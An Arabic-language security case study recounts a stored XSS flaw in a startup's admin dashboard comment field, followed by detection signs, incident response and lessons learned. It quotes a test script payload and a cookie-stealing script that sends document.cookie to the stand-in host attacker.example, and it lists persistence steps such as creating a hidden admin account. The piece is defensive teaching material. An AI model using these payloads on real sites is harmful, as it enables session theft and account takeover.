مقدمة
أطلقت شركة ناشئة لوحة تحكم جديدة لإدارة ملفات العملاء. ورغم التركيز على سرعة التطوير، تُرك حقل تعليقات من دون تعقيم مناسب، ما فتح الباب أمام ثغرة XSS قادت إلى اختراق حسابات حساسة داخل لوحة الإدارة.
بداية القصة
سمحت المنصة للمستخدمين بكتابة تعليقات على الملفات. كانت الواجهة الأمامية تزيّن النصوص فقط، بينما الواجهة الخلفية لا تُجري أي Sanitization فعلي للنص. لاحظ مهاجم أن الحقل يقبل وسوم HTML، فاختبر الإدخال التالي:
<script>alert("XSS")</script>
عندما ظهر التنبيه في شاشة الإدارة، تأكد وجود ثغرة XSS مخزّنة يمكن استغلالها على حسابات الموظفين والمديرين.
تصعيد الاستغلال
طوّر المهاجم حمولة أخطر لسرقة الجلسة (Session Cookie):
<script>
fetch('https://attacker.example/steal?data=' + encodeURIComponent(document.cookie));
</script>
بهذه الحمولة، صار بمقدور المهاجم سرقة الكوكيز الإدارية واستخدامها للدخول بحساب الضحية من دون كلمة مرور، ثم الوصول إلى صلاحيات مرتفعة داخل النظام.
ماذا حدث بعد سرقة الجلسة؟
- الاطلاع على بيانات العملاء الحساسة.
- تعديل إعدادات حرجة داخل لوحة التحكم.
- إنشاء حساب إداري خفي لاستمرارية الوصول.
- تعطيل إشعارات الأنشطة المشبوهة.
- زرع سكربت إضافي يُحمّل عند تسجيل دخول المستخدمين (Relay XSS).
مؤشرات الكشف
- تسجيل دخول من مواقع جغرافية متباعدة للحساب نفسه.
- تغييرات في الإعدادات لم يقم بها أصحاب الصلاحية.
- حركة مرور غير اعتيادية إلى نطاق خارجي غير معروف.
الاستجابة واحتواء الحادث
- إغلاق مؤقت لحقل التعليقات المصاب.
- تسجيل خروج شامل وإبطال جميع الجلسات (Session Invalidation).
- تفعيل خصائص حماية الكوكيز:
HttpOnlyوSecureوSameSite. - تطبيق تعقيم المخرجات حسب السياق (HTML/JS/URL) بدلًا من الاكتفاء بفحص المدخلات.
- مراجعة الصفحات وواجهات الـ API لمنع XSS الانعكاسي والمخزن.
- إضافة قواعد في WAF لرصد أنماط XSS الشائعة.
الدروس المستفادة
- أي نص من المستخدم يجب اعتباره غير موثوق حتى يُثبت العكس.
- XSS ليست “تنبيهًا مزعجًا” فحسب — قد تقود لاختراق كامل عبر سرقة الجلسات.
- تعقيم المخرجات بالترميز حسب السياق يمنع تنفيذ السكربت.
- حماية الكوكيز تقلل أثر XSS حتى لو حدثت.
- اللوحات الداخلية تحتاج نفس مستوى الأمان المطبّق على الواجهات العامة.
- المراقبة السلوكية والتنبيهات المبكرة تقلّص زمن الاكتشاف والاستجابة.